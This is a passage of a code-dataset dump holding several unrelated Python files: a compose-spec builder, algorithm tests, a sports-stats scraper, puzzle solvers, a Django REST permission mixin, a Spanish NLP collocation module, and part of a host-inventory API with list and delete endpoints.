f\"traefik.http.routers.{target_container}.rule=PathPrefix(`/`)\",\n ]\n )\n\n # put back updated labels\n target_container_spec[\"labels\"] = labels\n\n\ndef _assemble_from_service_key_and_tag(\n resolved_registry_url: str,\n service_key: str,\n service_tag: str,\n):\n service_spec = deepcopy(BASE_SERVICE_SPEC)\n service_spec[\"services\"][CONTAINER_NAME] = {\n \"image\": f\"{resolved_registry_url}/{service_key}:{service_tag}\"\n }\n\n return service_spec\n\n\ndef _replace_env_vars_in_compose_spec(\n stringified_service_spec: str, resolved_registry_url: str, service_tag: str\n) -> str:\n stringified_service_spec = stringified_service_spec.replace(\n MATCH_SIMCORE_REGISTRY, resolved_registry_url\n )\n stringified_service_spec = stringified_service_spec.replace(\n MATCH_SERVICE_VERSION, service_tag\n )\n return stringified_service_spec\n\n\nasync def assemble_spec(\n # pylint: disable=too-many-arguments\n app: FastAPI,\n service_key: str,\n service_tag: str,\n paths_mapping: PathMappingsLabel, # pylint: disable=unused-argument\n compose_spec: ComposeSpecLabel,\n container_http_entry: Optional[str],\n dynamic_sidecar_network_name: str,\n simcore_traefik_zone: str,\n service_port: PositiveInt,\n) -> str:\n \"\"\"\n returns a docker-compose spec used by\n the dynamic-sidecar to start the service\n \"\"\"\n settings: DynamicSidecarSettings = (\n app.state.settings.DYNAMIC_SERVICES.DYNAMIC_SIDECAR\n )\n\n container_name = container_http_entry\n service_spec = compose_spec\n\n # when no compose yaml file was provided\n if service_spec is None:\n service_spec = _assemble_from_service_key_and_tag(\n resolved_registry_url=settings.REGISTRY.resolved_registry_url,\n service_key=service_key,\n service_tag=service_tag,\n )\n container_name = CONTAINER_NAME\n else:\n # TODO: need to be sorted out:\n # - inject paths mapping\n # - remove above # pylint: disable=unused-argument\n pass\n\n assert container_name is not None # nosec\n\n _inject_traefik_configuration(\n service_spec,\n target_container=container_name,\n dynamic_sidecar_network_name=dynamic_sidecar_network_name,\n simcore_traefik_zone=simcore_traefik_zone,\n service_port=service_port,\n )\n\n stringified_service_spec = yaml.safe_dump(service_spec)\n stringified_service_spec = _replace_env_vars_in_compose_spec(\n stringified_service_spec=stringified_service_spec,\n resolved_registry_url=settings.REGISTRY.resolved_registry_url,\n service_tag=service_tag,\n )\n\n return stringified_service_spec\n","sub_path":"services/director-v2/src/simcore_service_director_v2/modules/dynamic_sidecar/docker_compose_specs.py","file_name":"docker_compose_specs.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"494918778","text":"from AlgoExpert import flattenbinarytree as program\nimport unittest\n\n\nclass TestProgram(unittest.TestCase):\n def test_case_1(self):\n root = BinaryTree(1).insert([2, 3, 4, 5, 6])\n root.left.right.left = BinaryTree(7)\n root.left.right.right = BinaryTree(8)\n leftMostNode = program.flattenBinaryTree(root)\n leftToRightToLeft = leftMostNode.leftToRightToLeft()\n expected = [4, 2, 7, 5, 8, 1, 6, 3, 3, 6, 1, 8, 5, 7, 2, 4]\n self.assertEqual(leftToRightToLeft, expected)\n\n\nclass BinaryTree(program.BinaryTree):\n def insert(self, values, i=0):\n if i >= len(values):\n return\n queue = [self]\n while len(queue) > 0:\n current = queue.pop(0)\n if current.left is None:\n current.left = BinaryTree(values[i])\n break\n queue.append(current.left)\n if current.right is None:\n current.right = BinaryTree(values[i])\n break\n queue.append(current.right)\n self.insert(values, i + 1)\n return self\n\n def leftToRightToLeft(self):\n nodes = []\n current = self\n while current.right is not None:\n nodes.append(current.value)\n current = current.right\n nodes.append(current.value)\n while current is not None:\n nodes.append(current.value)\n current = current.left\n return nodes\n","sub_path":"testing/testFlattenBinaryTree.py","file_name":"testFlattenBinaryTree.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"199609500","text":"import requests\nimport csv\nfrom bs4 import BeautifulSoup\nimport main\n\nstats = []\n# LISTS FOR PROGRAM\nplayers = []\ntotalmax = []\nmaxnumber = []\nmaxTeam = []\n\npOfXsWins = []\npOfXsLosses = []\nprobs_win = []\nprobs_lose = []\noutcome = []\nprob_t1_win = []\nprob_t2_win = []\n\n# Attribute lists\nteam1list = []\nteam2list = []\nprobabilities = []\nwinner_is = []\npoints = []\nless_likely_to_lose = []\nteamnames = []\n\ndef teamname():\n teamnames.append(main.teamname1())\n teamnames.append(main.teamname2())\n\ndef createTrainingCSV():\n with open(main.masterlist() +'data.csv', 'w') as c:\n writer = csv.writer(c, delimiter=' ',\n quotechar=',', quoting=csv.QUOTE_MINIMAL)\n writer.writerow(main.masterlist())\ndef createCSV(team):\n with open(team +'data.csv', 'w') as csvfile:\n writer = csv.writer(csvfile, delimiter=' ',\n quotechar=',', quoting=csv.QUOTE_MINIMAL)\n writer.writerow(team)\ndef appendCSV(team):\n with open(team +\"data.csv\", \"a\") as f:\n wr = csv.writer(f)\n if team == team1():\n wr.writerow(team1list)\n else:\n wr.writerow(team2list)\n\ndef teamstats(team):\n if team == team1():\n if len(team1list) == 0:\n team1list.append(team1())\n run_attrs()\n if team == team2():\n if len(team2list) == 0:\n team2list.append(team2())\n run_attrs()\n\n\n# NAME OF EACH TEAM\ndef team1():\n return stats[0]\n\ndef team2():\n return stats[6]\n\n# RETURNS WINNING TEAM FOR THAT GAME\ndef winning_team():\n if float(stats[5]) > float(stats[11]):\n return 1\n else:\n return 2\n# LIST OF ATTRIBUTES\n\n# WHO SCORED MORE POINTS IN THE FIRST QUARTER\ndef attr1():\n\n # Grabs first quarter points\n if float(stats[1]) > float(stats[7]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[1]) == float(stats[7]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\n# WHO SCORED MORE POINTS IN THE SECOND QUARTER\ndef attr2():\n # Grabs second quarter points\n if float(stats[2]) > float(stats[8]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[2]) == float(stats[8]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\n# WHO SCORED MORE POINTS IN THE THIRD QUARTER\ndef attr3():\n # Grabs third quarter points\n if float(stats[3]) > float(stats[9]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[3]) == float(stats[9]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\n# WHO SCORED MORE POINTS IN THE FOURTH QUARTER\ndef attr4():\n if float(stats[4]) > float(stats[10]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[4]) == float(stats[10]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr5():\n # Grabs first downs\n if float(stats[13]) > float(stats[14]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[13]) == float(stats[14]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr6():\n # Grabs passing first downs\n if float(stats[16]) > float(stats[17]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[16]) == float(stats[17]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr7():\n # Grabs rushing first downs\n if float(stats[19]) > float(stats[20]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[19]) == float(stats[20]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr8():\n # Grabs total yards\n if float(stats[34]) > float(stats[35]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[34]) == float(stats[35]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr9():\n # Grabs yards per play\n if float(stats[40]) > float(stats[41]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[40]) == float(stats[41]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr10():\n # Grabs passing yards\n if float(stats[43]) > float(stats[44]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[43]) == float(stats[44]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr11():\n #grabs yards per pass\n if float(stats[49]) > float(stats[50]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[49]) == float(stats[50]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr12():\n # Grabs rushing yards\n if float(stats[58]) > float(stats[59]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[58]) == float(stats[59]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr13():\n # Grabs yards per rush\n if float(stats[64]) > float(stats[65]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[64]) == float(stats[65]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr14():\n # Grabs turnovers\n if float(stats[73]) > float(stats[74]):\n team1list.append(1)\n team2list.append(0)\n elif float(stats[73]) == float(stats[74]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\ndef attr15():\n # Grabs possession minutes\n x = stats[85].split(\":\")\n y = stats[86].split(\":\")\n if float(x[0]) > float(y[0]):\n team1list.append(1)\n team2list.append(0)\n elif float(x[0]) == float(y[0]):\n team1list.append(0.5)\n team2list.append(0.5)\n else:\n team1list.append(0)\n team2list.append(1)\n\ndef run_attrs():\n # CALLS ALL ATTRIBUTES TO ADD TO THE LIST\n attr1()\n attr2()\n attr3()\n attr4()\n attr5()\n attr6()\n attr7()\n attr8()\n attr9()\n attr10()\n attr11()\n attr12()\n attr13()\n attr14()\n attr15()\n if winning_team() == 1:\n team1list.append(1)\n team2list.append(0)\n else:\n team1list.append(0)\n team2list.append(1)\n\n\n# PROBABILITY OF OUTCOME\ndef prob_of_win():\n return 0.5\ndef prob_of_lose():\n return 0.5\ndef bulk():\n teamname()\n team = main.teamname1()\n #createTrainingCSV()\n #Writes out first line with team name\n #createCSV(team)\n\n list = main.list(team)\n for item in list:\n\n html = requests.get(item).text\n soup = BeautifulSoup(html, 'html5lib')\n # GRAB ALL STAT INFO\n for td_tag in soup.find_all('td'):\n each_stat = td_tag.text\n stats.append(each_stat)\n stat = [x.replace('\\t', '').replace('\\n', '') for x in stats]\n\n teamstats(team)\n appendCSV(team)\n del stats[:]\n del team1list[:]\n del team2list[:]\n #del stat[:]\n\n team2 = main.teamname2()\n\n\n list = main.list(team2)\n for item in list:\n\n html = requests.get(item).text\n soup = BeautifulSoup(html, 'html5lib')\n # GRAB ALL STAT INFO\n for td_tag in soup.find_all('td'):\n each_stat = td_tag.text\n stats.append(each_stat)\n stat = [x.replace('\\t', '').replace('\\n', '') for x in stats]\n #print(stat)\n teamstats(team2)\n appendCSV(team2)\n del stats[:]\n del team1list[:]\n del team2list[:]\n\n#bulk()","sub_path":"grabAttributes.py","file_name":"grabAttributes.py","file_ext":"py","file_size_in_byte":8253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"119809711","text":"def checkRows(data):\n for row in data:\n if row.count(row[0]) == len(row) and row[0] != '.':\n return row[0]\n return None\n\ndef checkCols(data):\n coldata = []\n for colindex, letter in enumerate(data[0]):\n column = \"\"\n for rowindex, row in enumerate(data):\n column += data[rowindex][colindex]\n coldata.append(column)\n return checkRows(coldata)\n\ndef checkDiags(data):\n diag1 = data[0][0] + data[1][1] + data[2][2]\n diag2 = data[0][2] + data[1][1] + data[2][0]\n return checkRows([diag1, diag2])\n \ndef checkio(game_result):\n winner = (checkRows(game_result) or checkCols(game_result) or\n checkDiags(game_result))\n if winner:\n return winner\n else:\n return 'D'\n\ncheckio([\"XXO\",\"XX.\", \"OOO\"])\n","sub_path":"python/checkio/home/xoreferee.py","file_name":"xoreferee.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195404912","text":"import math\nimport itertools\nimport statistics\n\ndef readinput():\n inputs=[]\n f=open('input.txt','r')\n for line in f:\n #inputs=line.rstrip().split(' ')\n inputs.append(line.rstrip())\n f.close()\n return inputs\n \ndef nCr(n,r):\n f=math.factorial()\n return f(n)/(f(r)/f(n-r))\n \n#readprimes\nfile=open('primes.json','r')\nprimes=file.read()\nprimes=eval(primes)\nfile.close()\n\na=2\ncoins=[]\nfactors=[]\nlenc=len(coins)\nlenp=len(primes)\nwhile lenc<500:\n sa='1'+\"{0:030b}\".format(a)+'1'\n #print(sa)\n fs=[]\n for i in range(2,11):\n num=int(sa,i) #num in base i\n #print(num)\n #check if prime, has factors\n if(num in primes):\n break\n else:\n factor=-1\n to_check_up_to=math.ceil(math.sqrt(num))+1\n for j in range(lenp): #find factors\n if num%primes[j]==0:\n factor=primes[j]\n break\n elif j==to_check_up_to:\n #if num not in primes:\n #primes.append(num)\n break\n if factor!=-1:\n fs.append(factor)\n else:\n break\n if len(fs)==9:\n factors.append(fs)\n coins.append(sa)\n lenc+=1\n a+=1\n\nf=open('output.txt','w')\nf.write(\"Case #1:\")\nf.write('\\n')\nlenc=len(coins)\nfor i in range(lenc):\n f.write(str(coins[i])+' ')\n v=list(map(str,factors[i]))\n f.write(' '.join(v))\n f.write('\\n')\n \n \n\nf.close()\n\n\"\"\"\ninputs=readinput()\ncases=int(inputs[0])\ninputs=inputs[1:]\n\nf=open('output.txt','w')\nfor i in range(0,len(inputs)):\n #ints=inputs[i].split(' ')\n #ints=list(map(int,ints))\n solved=solve(inputs[i])\n #solved=list(map(str,solved))\n f.write(\"Case #{}: \".format(str(i+1))+str(solved))\n f.write('\\n')\n\nf.close()\n\"\"\"","sub_path":"codes/CodeJamCrawler/16_0_3/genericity/coinjam2016.py","file_name":"coinjam2016.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"319531882","text":"def user_name():\n name = input('What\\'s your in game nick? (max 8 characters)')\n if len(name) > 8:\n print('Maximum 8 characters')\n user_name()\n else:\n return name\n\n\ndef user_life(life=15, operation=0):\n life_list = ['LIFE:', life]\n life_list[1] = life_list[1] + (operation)\n return life_list\n\n\ndef stats():\n print('GOD OF LUCK gave you your stats:')\n st = inside_stats_generate()\n for i in range(len(st)):\n print('{} {}' .format(st[i][0], st[i][1]))\n st = inside_stats_ask(st)\n return st\n\n\ndef inside_stats_generate():\n st = [['STRENGHT', 10 + random.randint(0, 10)],\n ['AGILITY:', 10 + random.randint(0, 10)],\n ['DEXTERITY:', 10 + random.randint(0, 10)],\n ['WILLPOWER', 10 + random.randint(0, 10)],\n ['CHARISMA', 10 + random.randint(0, 10)],\n ['WISDOM', 10 + random.randint(0, 10)],\n ['LUCK', 10 + random.randint(0, 10)],\n ['LIFES', 10 + random.randint(0, 10)]]\n return st\n\n\ndef inside_stats_ask(st):\n reroll = input('Reroll? (y/n)')\n reroll = reroll.lower()\n\n if reroll == 'y':\n return stats()\n\n elif reroll == 'n':\n\n if (st[0][1] > 16):\n print('Str is over 16! So you\\'re tought huh...')\n\n if (st[1][1] > 16):\n print('Agi is over 16! Where is my wallet...')\n\n if (st[2][1] > 16):\n print('Dex is over 16! So you\\'re hard to kill, it seems.')\n\n if (st[3][1] > 16):\n print('Willpower is over 16! So you\\'re resistant to psychic \\\n attacks.')\n\n if (st[4][1] > 16):\n print('Charisma is over 16! You\\'ll be alright people like you.')\n\n if (st[5][1] > 16):\n print('Wisdom is over 16! Profesor? smart ass huh.')\n\n if (st[6][1] > 16):\n print('Luck is over 16! Lucky bastard!')\n\n return st\n\n else:\n print('Try again')\n return inside_stats_ask()\n# stats()\n# print(user_life())\n","sub_path":"stat.py","file_name":"stat.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"22911310","text":"\"\"\"\nAPI helpers for django-rest-framework.\n\"\"\"\n\nfrom rest_framework import serializers\nfrom django.db.models.query import QuerySet\n\n\nclass FieldPermissionSerializerMixin:\n \"\"\"\n ModelSerializer logic for marking fields as ``read_only=True`` when a user is found not to have\n change permissions.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(FieldPermissionSerializerMixin, self).__init__(*args, **kwargs)\n\n request = self.context.get('request')\n user = request.user if hasattr(request, 'user') else None\n model = self.Meta.model\n model_field_names = [f.name for f in model._meta.get_fields()] # this might be too broad\n\n # Methods without instance eg. create\n if self.instance is None:\n obj = model()\n # Methods with multiple instances, eg. list\n elif isinstance(self.instance, QuerySet):\n obj = model()\n # Methods with one instance, eg. retrieve\n else:\n obj = self.instance\n\n for name in model_field_names:\n if name in self.fields:\n if not obj.has_field_perm(user, field=name, operation='view'):\n self.fields.pop(name)\n elif not obj.has_field_perm(user, field=name, operation='change'):\n self.fields[name].read_only = True\n\n\nclass FieldPermissionSerializer(FieldPermissionSerializerMixin, serializers.ModelSerializer):\n pass\n","sub_path":"field_permissions/api/rest_framework.py","file_name":"rest_framework.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"41170696","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\n#import sys\nimport dataBase\ndef colocBusc(resultado):\n\n foundColocacion = True\n while foundColocacion:\n foundColocacion = False\n # Buscar colocaciones de 3 en 3\n index = 0\n for agrupacion in zip(resultado, resultado[1:], resultado[2:]):\n (idColocacion, regla) = dataBase.buscarColocacion(agrupacion)\n # Agrupar en una sola palabra\n if idColocacion != -1:\n parte1 = resultado.pop(index)\n parte2 = resultado.pop(index)\n parte3 = resultado.pop(index)\n nuevaPalabra = parte1[3] + \"_\" + parte2[3] + \"_\" + parte3[3]\n nuevoLemma = parte1[0] + \"_\" + parte2[0] + \"_\" + parte3[0]\n # Poner etiqueta de acuerdo a la regla\n colTag = \"\"\n if regla == 1:\n colTag = parte1[1]\n elif regla == 2:\n colTag = parte2[1]\n else:\n colTag = parte3[1]\n nuevaTupla = (nuevoLemma, colTag, idColocacion, nuevaPalabra)\n resultado.insert(index, nuevaTupla)\n # Volver a iterar\n foundColocacion = True\n break\n index = index + 1\n if foundColocacion:\n continue\n # Buscar colocaciones de 2 en 2\n index = 0\n for agrupacion in zip(resultado, resultado[1:]):\n (idColocacion, regla) = dataBase.buscarColocacion(agrupacion)\n # Agrupar en una sola palabra\n if idColocacion != -1:\n parte1 = resultado.pop(index)\n parte2 = resultado.pop(index)\n nuevaPalabra = parte1[3] + \"_\" + parte2[3]\n nuevoLemma = parte1[0] + \"_\" + parte2[0]\n # Poner etiqueta de acuerdo a la regla\n colTag = \"\"\n if regla == 1:\n colTag = parte1[1]\n elif regla == 2:\n colTag = parte2[1]\n nuevaTupla = (nuevoLemma, colTag, idColocacion, nuevaPalabra)\n resultado.insert(index, nuevaTupla)\n # Volver a iterar\n foundColocacion = True\n break\n index = index + 1\n if foundColocacion:\n continue\n\n return resultado\n\n\ndef tokenLemmaColoc(tk, sp, sid, mf, tg, sen, parser, dep, text):\n \"\"\" Separa oraciones, lematiza, etiqueta y busca colocaciones\n Args:\n tk, sp, sid, mf, tg, sen, parser, dep: elementos de Freeling\n text: cadena de texto a analizar\n Returns:\n Una lista de tuplas con el formato (lemma, etiqueta, id_colocacion, palabra_original)\n Si la tupla no es una colocacion, se regresa un -1\n \"\"\"\n resultado = list()\n # Obtencion de oraciones\n text = unicode(text, 'utf-8')\n text = text if text.endswith('.') else (text + '.')\n l = tk.tokenize(text);\n # Lematizar\n ls = sp.split(sid,l,False);\n ls = mf.analyze(ls);\n ls = tg.analyze(ls);\n ls = sen.analyze(ls);\n ls = parser.analyze(ls);\n ls = dep.analyze(ls);\n for s in ls :\n ws = s.get_words();\n for w in ws :\n # for each analysis\n a = w.get_analysis()[0]\n # TODO tambien quitar todos los signos de puntuacion, Tambien de intorrgacion?\n if a.get_lemma() != \".\":\n if a.get_tag()[0] == 'A':\n tag = a.get_tag()[:3]\n elif a.get_tag()[0] == 'R':\n tag = a.get_tag()[:2]\n elif a.get_tag()[0] == 'D':\n tag = a.get_tag()[:3]\n elif a.get_tag()[0] == 'N':\n tag = a.get_tag()[:6]\n elif a.get_tag()[0] == 'V':\n tag = a.get_tag()[:4] \n elif a.get_tag()[0] == 'P':\n tag = a.get_tag()[:3]\n elif a.get_tag()[0] == 'C':\n tag = a.get_tag()[:2]\n elif a.get_tag()[0] == 'I':\n tag = a.get_tag()[:2]\n elif a.get_tag()[0] == 'S':\n tag = a.get_tag()[:3]\n elif a.get_tag()[0] == 'F':\n tag = a.get_tag()[:2]\n elif a.get_tag()[0] == 'Z':\n tag = a.get_tag()[:2]\n # Guardar (lemma, etiqueta, id_colocacion)\n resultado.append( (a.get_lemma(), tag, -1, w.get_form()) )\n # Iterar hasta que no haya colocaciones\n \n return colocBusc(resultado)\n\n \n\n\n \n","sub_path":"modulos/modulo_1/modulo_1.py","file_name":"modulo_1.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"253179988","text":"# _*_ coding:utf-8 _*_\n\n__author__ = 'bobby'\n__date__ = '2018/7/13 16:48'\nimport json\nimport os\n\nclass OperationJson:\n\n def __init__(self,file_path=None):#构造函数\n if file_path == None: #如果file_path为空,则self.file_path为默认写死的路径\n self.file_path = '../cookiejson/cookiemanager.json'\n else: #如果传递了file_path,则使用传递的file_path\n self.file_path = file_path\n\n self.data = self.read_data() # 获取json文件\n\n #读取json文件\n def read_data(self):\n with open(self.file_path) as fp: #使用with,用完文件后会自动关闭文件,不需要fp.close()来关闭文件\n data = json.load(fp)\n return data\n\n #根据关键字获取数据\n def get_data(self,id):\n print(\"关键字:\",id)\n return self.data[id]\n\n #获取文件里全部数据\n def get_all_data(self):\n return self.data\n\n # 写json\n def write_data(self, data):\n with open(self.file_path, 'w') as fp:\n fp.write(json.dumps(data))\n\n\n\nif __name__ == '__main__':\n # opjson = OperationJson(file_path='../cookiejson/cookieagent.json') #实例化\n opjson = OperationJson() # 实例化\n print(opjson.get_data(0))\n\n\n","sub_path":"TestCaseFunction/util/operation_json.py","file_name":"operation_json.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"509940954","text":"from enum import Enum\n\nimport flask\nfrom confluent_kafka.error import KafkaError\nfrom flask import current_app\nfrom flask_api import status\nfrom marshmallow import ValidationError\n\nfrom api import api_operation\nfrom api import build_collection_response\nfrom api import flask_json_response\nfrom api import metrics\nfrom api.host_query import build_paginated_host_list_response\nfrom api.host_query import staleness_timestamps\nfrom api.host_query_db import get_all_hosts\nfrom api.host_query_xjoin import get_host_ids_list as get_host_ids_list_xjoin\nfrom api.host_query_xjoin import get_host_list as get_host_list_xjoin\nfrom api.host_query_xjoin import get_host_list_by_id_list\nfrom api.host_query_xjoin import get_host_tags_list_by_id_list\nfrom api.sparse_host_list_system_profile import get_sparse_system_profile\nfrom app import db\nfrom app import inventory_config\nfrom app import Permission\nfrom app.auth import get_current_identity\nfrom app.instrumentation import get_control_rule\nfrom app.instrumentation import log_get_host_list_failed\nfrom app.instrumentation import log_get_host_list_succeeded\nfrom app.instrumentation import log_host_delete_failed\nfrom app.instrumentation import log_host_delete_succeeded\nfrom app.instrumentation import log_patch_host_failed\nfrom app.instrumentation import log_patch_host_success\nfrom app.logging import get_logger\nfrom app.logging import threadctx\nfrom app.models import Host\nfrom app.models import PatchHostSchema\nfrom app.payload_tracker import get_payload_tracker\nfrom app.payload_tracker import PayloadTrackerContext\nfrom app.payload_tracker import PayloadTrackerProcessingContext\nfrom app.queue.events import build_event\nfrom app.queue.events import EventType\nfrom app.queue.events import message_headers\nfrom app.queue.queue import EGRESS_HOST_FIELDS\nfrom app.serialization import deserialize_canonical_facts\nfrom app.serialization import serialize_host\nfrom app.utils import Tag\nfrom lib.host_delete import delete_hosts\nfrom lib.host_repository import find_existing_host\nfrom lib.host_repository import find_non_culled_hosts\nfrom lib.host_repository import update_query_for_owner_id\nfrom lib.middleware import rbac\n\n\nFactOperations = Enum(\"FactOperations\", (\"merge\", \"replace\"))\nTAG_OPERATIONS = (\"apply\", \"remove\")\n\nlogger = get_logger(__name__)\n\n\ndef _get_host_list_by_id_list_from_db(host_id_list):\n current_identity = get_current_identity()\n query = Host.query.filter((Host.org_id == current_identity.org_id) & Host.id.in_(host_id_list))\n return find_non_culled_hosts(update_query_for_owner_id(current_identity, query))\n\n\n@api_operation\n@rbac(Permission.READ)\n@metrics.api_request_time.time()\ndef get_host_list(\n display_name=None,\n fqdn=None,\n hostname_or_id=None,\n insights_id=None,\n provider_id=None,\n provider_type=None,\n tags=None,\n page=1,\n per_page=100,\n order_by=None,\n order_how=None,\n staleness=None,\n registered_with=None,\n filter=None,\n fields=None,\n):\n\n total = 0\n host_list = ()\n\n try:\n host_list, total, additional_fields = get_host_list_xjoin(\n display_name,\n fqdn,\n hostname_or_id,\n insights_id,\n provider_id,\n provider_type,\n tags,\n page,\n per_page,\n order_by,\n order_how,\n staleness,\n registered_with,\n filter,\n fields,\n )\n except ValueError as e:\n log_get_host_list_failed(logger)\n flask.abort(400, str(e))\n\n json_data = build_paginated_host_list_response(total, page, per_page, host_list, additional_fields)\n return flask_json_response(json_data)\n\n\n@api_operation\n@rbac(Permission.WRITE)\n@metrics.api_request_time.time()\ndef delete_hosts_by_filter(\n display_name=None,\n fqdn=None,\n hostname_or_id=None,\n insights_id=None,\n provider_id=None,\n provider_type=None,\n registered_with=None,\n staleness=None,\n tags=None,\n filter=None,\n):\n if not any(\n [\n display_name,\n fqdn,\n hostname_or_id,\n insights_id,\n provider_id,\n provider_type,\n registered_with,\n staleness,\n tags,\n filter,\n ]\n ):\n logger.error(\"bulk-delete operation needs at least one input property to filter on.\")\n flask.abort(400, \"bulk-delete operation needs at least one input property to filter on.\")\n\n try:\n ids_list = get_host_ids_list_xjoin(\n display_name,\n fqdn,\n hostname_or_id,\n insights_id,\n provider_id,\n provider_type,\n registered_with,\n staleness,\n tags,\n filter,\n )\n\n except ValueError as err:\n log_get_host_list_failed(logger)\n flask.abort(400, str(err))\n except ConnectionError:\n logger.error(\"xjoin-search not accessible\")\n flask.abort(503)\n\n try:\n delete_count = _delete_host_list(ids_list) if ids_list else 0\n except KafkaError:\n logger.error(\"Kafka server not available\")\n flask.abort(503)\n\n json_data = {\"hosts_found\": len(ids_list), \"hosts_deleted\": delete_count}\n\n return flask_json_response(json_data, status.HTTP_202_ACCEPTED)\n\n\ndef _delete_host_list(host_id_list):\n current_identity = get_current_identity()\n payload_tracker = get_payload_tracker(\n account=current_identity.account_number, org_id=current_identity.org_id, request_id=threadctx.request_id\n )\n\n with PayloadTrackerContext(\n payload_tracker, received_status_message=\"delete operation\", current_operation=\"delete\"\n ):\n query = _get_host_list_by_id_list_from_db(host_id_list)\n\n deletion_count = 0\n\n for host_id, deleted in delete_hosts(\n query, current_app.event_producer, inventory_config().host_delete_chunk_size\n ):\n if deleted:\n log_host_delete_succeeded(logger, host_id, get_control_rule())\n tracker_message = \"deleted host\"\n deletion_count += 1\n else:\n log_host_delete_failed(logger, host_id, get_control_rule())\n tracker_message = \"not deleted host\"\n\n with PayloadTrackerProcessingContext(\n payload_tracker, processing_status_message=tracker_message\n ) as payload_tracker_processing_ctx:\n payload_tracker_processing_ctx.inventory_id = host_id\n\n return deletion_count\n\n\n@api_operation\n@rbac(Permission.WRITE)\n@metrics.api_request_time.time()\ndef delete_all_hosts(confirm_delete_all=None):\n if not confirm_delete_all:\n logger.error(\"To delete all hosts, provide confirm_delete_all=true in the request.\")\n flask.abort(400, \"To delete all hosts, provide confirm_delete_all=true in the request.\")\n\n try:\n # get all hosts from the DB; bypasses xjoin-search, which limits the number hosts to 10 by default.\n ids_list = get_all_hosts()\n except ValueError as err:\n log_get_host_list_failed(logger)\n flask.abort(400, str(err))\n except ConnectionError:\n logger.error(\"xjoin-search not accessible\")\n flask.abort(503)\n\n try:\n delete_count = _delete_host_list(ids_list)\n except KafkaError:\n logger.error(\"Kafka server not available\")\n flask.abort(503)\n\n json_data = {\"hosts_found\": len(ids_list), \"hosts_deleted\": delete_count}\n\n return flask_json_response(json_data, status.HTTP_202_ACCEPTED)\n\n\n@api_operation\n@rbac(Permission.WRITE)\n@metrics.api_request_time.time()\ndef delete_host_by_id(host_id_list):\n delete_count = _delete_host_list(host_id_list)\n\n if not delete_count:\n flask.abort(status.HTTP_404_NOT_FOUND, \"No hosts found for deletion.\")\n\n return flask.Response(None, status.HTTP_200_OK)\n\n\n@api_operation\n@rbac(Permission.READ)\n@metrics.api_request_time.time()\ndef get_host_by_id(host_id_list, page=1, per_page=100, order_by=None, order_how=None, fields=None):\n try:\n host_list, total, additional_fields = get_host_list_by_id_list(\n host_id_list, page, per_page, order_by, order_how, fields\n )\n except ValueError as e:\n log_get_host_list_failed(logger)\n flask.abort(400, str(e))\n\n log_get_host_list_succeeded(logger, host_list)\n\n json_data = build_paginated_host_list_response(total, page, per_page, host_list, additional_fields)\n return flask_json_response(json_data)\n\n\n@api_operation\n@rbac(Permission.READ)\n@metrics.api_request_time.time()\ndef get_host_system_profile_by_id(host_id_list, page=1, per_page=100, order_by=None, order_how=None, fields=None):\n try:\n total, response_list = get_sparse_system_profile(host_id_list, page, per_page, order_by, order_how, fields)\n except ValueError as 